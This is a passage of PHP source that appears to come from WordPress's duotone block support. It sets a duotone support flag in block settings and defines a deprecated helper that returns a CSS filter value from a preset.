if ( ! isset( $settings['supports']['filter']['duotone'] ) && null !== $duotone_support ) {
			_wp_array_set( $settings, array( 'supports', 'filter', 'duotone' ), (bool) $duotone_support );
		}

return $settings;
	}

/**
	 * Gets the CSS filter property value from a preset.
	 *
	 * Exported for the deprecated function wp_get_duotone_filter_id().
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @deprecated 6.3.0
	 *
	 * @param array $preset The duotone preset.
	 * @return string The CSS filter property value.
	 */
	public static function get_filter_css_property_value_from_preset( $preset ) {
		_deprecated_function( __FUNCTION__, '6.3.0' );

if ( isset( $preset['colors'] ) && is_string( $preset['colors'] ) ) {
			return $preset['colors'];
		}

$filter_id = self::get_filter_id_from_preset( $preset );

return 'url(#' . $filter_id . ')';
	}
}